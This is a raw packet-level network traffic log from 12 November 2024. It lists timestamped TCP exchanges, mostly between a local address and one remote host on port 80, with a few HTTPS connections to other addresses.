Nov 12, 2024 08:30:38.036787033 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.037446976 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.037460089 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.037472010 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.037483931 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.037496090 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.037503004 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.037503958 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.037508965 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.037522078 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.037542105 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.037571907 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.038089991 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.038103104 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.038120985 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.038131952 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.038136005 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.038144112 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.038156033 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.038167953 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.038175106 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.038175106 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.038178921 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.038192034 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.038201094 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.038203001 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.038217068 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.038230896 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.038237095 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.038237095 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.038244963 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.038263083 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.038304090 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.038742065 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.038753033 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.038764000 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.038775921 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.038788080 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.038795948 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.038800001 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.038811922 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.038820028 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.038844109 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.038861036 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.091095924 CET	57067	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.151299953 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.151357889 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.151370049 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.151417017 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.151434898 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.151443958 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.151447058 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.151477098 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.151493073 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.151498079 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.151510954 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.151578903 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.151597023 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.151608944 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.151622057 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.151640892 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.151640892 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.151681900 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.151698112 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.151782036 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.151917934 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.151994944 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.152005911 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.152005911 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.152030945 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.152049065 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.152190924 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.152235031 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.152250051 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.152266026 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.152299881 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.152299881 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.152367115 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.152407885 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.152419090 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.152487040 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.152554035 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.152565956 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.152578115 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.152590990 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.152601957 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.152631044 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.152678013 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.152717113 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.152729034 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.152740002 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.152784109 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.152784109 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.152952909 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.152965069 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.152976036 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.153007984 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.153009892 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.153022051 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.153034925 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.153043985 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.153048038 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.153059959 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.153069973 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.153083086 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.153131008 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.153285027 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.153297901 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.153311014 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.153321981 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.153335094 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.153347015 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.153356075 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.153356075 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.153358936 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.153371096 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.153386116 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.153388977 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.153388977 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.153423071 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.153443098 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.153637886 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.153660059 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.153671980 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.153683901 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.153690100 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.153700113 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.153724909 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.153832912 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.153845072 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.153908014 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.153919935 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.153922081 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.153932095 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.153944969 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.153959036 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.153987885 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.153987885 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.154169083 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.154180050 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.154191971 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.154203892 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.154215097 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.154221058 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.154227018 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.154242992 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.154243946 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.154254913 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.154258013 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.154282093 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.154313087 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.154421091 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.154432058 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.154443026 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.154453993 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.154467106 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.154472113 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.154486895 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.154486895 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.154522896 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.154670000 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.154683113 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.154695034 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.154707909 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.154711962 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.154720068 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.154731035 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.154767036 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.154767036 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.187568903 CET	443	57069	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.188987970 CET	443	57067	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.189006090 CET	443	57067	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.189013958 CET	443	57067	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.189047098 CET	443	57067	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.189065933 CET	443	57067	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.189080000 CET	443	57067	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.189089060 CET	57067	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.189102888 CET	443	57067	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.189117908 CET	57067	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.189141989 CET	57067	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.193192005 CET	443	57065	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.193217039 CET	443	57065	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.193232059 CET	443	57065	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.193269968 CET	57065	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.193283081 CET	443	57065	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.193312883 CET	57065	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.193331957 CET	57065	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.195662022 CET	443	57066	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.195691109 CET	443	57066	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.195710897 CET	443	57066	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.195765972 CET	57066	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.195777893 CET	443	57066	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.195823908 CET	57066	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.198767900 CET	443	57067	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.198776960 CET	443	57067	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.198802948 CET	443	57067	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.198816061 CET	443	57067	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.198827028 CET	57067	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.198832035 CET	443	57067	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.198863983 CET	57067	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.198873043 CET	443	57067	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.198887110 CET	57067	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.198920965 CET	443	57066	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.198951006 CET	443	57066	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.198981047 CET	57066	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.198982000 CET	57067	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.198986053 CET	443	57066	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.198997974 CET	443	57066	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.199008942 CET	57066	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.199028015 CET	57066	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.201821089 CET	57069	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.201845884 CET	443	57069	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.202332973 CET	57069	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.202339888 CET	443	57069	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.203380108 CET	443	57065	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.203396082 CET	443	57065	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.203435898 CET	443	57065	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.203459978 CET	57065	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.203469038 CET	443	57065	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.203511000 CET	57065	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:38.206515074 CET	443	57070	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.207631111 CET	57070	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.207639933 CET	443	57070	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.208167076 CET	57070	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.208172083 CET	443	57070	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.214968920 CET	443	57071	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.219712973 CET	57071	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.219733953 CET	443	57071	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.220305920 CET	57071	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:38.220310926 CET	443	57071	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:38.221247911 CET	57083	443	192.168.2.5	20.125.209.212
Nov 12, 2024 08:30:38.221282005 CET	443	57083	20.125.209.212	192.168.2.5
Nov 12, 2024 08:30:38.221376896 CET	57083	443	192.168.2.5	20.125.209.212
Nov 12, 2024 08:30:38.221776962 CET	57083	443	192.168.2.5	20.125.209.212
Nov 12, 2024 08:30:38.221790075 CET	443	57083	20.125.209.212	192.168.2.5
Nov 12, 2024 08:30:38.246767044 CET	443	57068	20.99.186.246	192.168.2.5
Nov 12, 2024 08:30:38.247128010 CET	57068	443	192.168.2.5	20.99.186.246
Nov 12, 2024 08:30:38.247154951 CET	443	57068	20.99.186.246	192.168.2.5
Nov 12, 2024 08:30:38.248497009 CET	443	57068	20.99.186.246	192.168.2.5
Nov 12, 2024 08:30:38.248555899 CET	57068	443	192.168.2.5	20.99.186.246
Nov 12, 2024 08:30:38.249222994 CET	57068	443	192.168.2.5	20.99.186.246
Nov 12, 2024 08:30:38.249289989 CET	443	57068	20.99.186.246	192.168.2.5
Nov 12, 2024 08:30:38.249397039 CET	57068	443	192.168.2.5	20.99.186.246
Nov 12, 2024 08:30:38.249404907 CET	443	57068	20.99.186.246	192.168.2.5
Nov 12, 2024 08:30:38.268393993 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.268415928 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.268425941 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.268501997 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.268501043 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.268501043 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.268515110 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.268529892 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.268552065 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.268580914 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.268591881 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.268627882 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.268663883 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.268675089 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.268724918 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.268791914 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.268802881 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.268840075 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.268878937 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.268961906 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.268971920 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.268984079 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.269009113 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.269009113 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.269047022 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.269166946 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.269234896 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.269246101 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.269256115 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.269278049 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.269280910 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.269289017 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.269352913 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.269376993 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.269387007 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.269412994 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.269442081 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.269469976 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.269481897 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.269555092 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.269562006 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.269604921 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.269628048 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.269638062 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.269648075 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.269668102 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.269690037 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.269804955 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.269817114 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.269829035 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.269841909 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.269853115 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.269854069 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.269854069 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.269875050 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.269903898 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.270047903 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.270061016 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.270073891 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.270086050 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.270091057 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.270097971 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.270126104 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.270153046 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.270320892 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.270330906 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.270340919 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.270353079 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.270369053 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.270376921 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.270389080 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.270417929 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.270576954 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.270586967 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.270596981 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.270611048 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.270622015 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.270623922 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.270633936 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.270658970 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.270658970 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.270699978 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.270879030 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.270889044 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.270898104 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.270912886 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.270924091 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.270926952 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.270936012 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.270947933 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.270956993 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.270956993 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.270960093 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.270982981 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.270998001 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.271229982 CET	80	49809	185.215.113.206	192.168.2.5
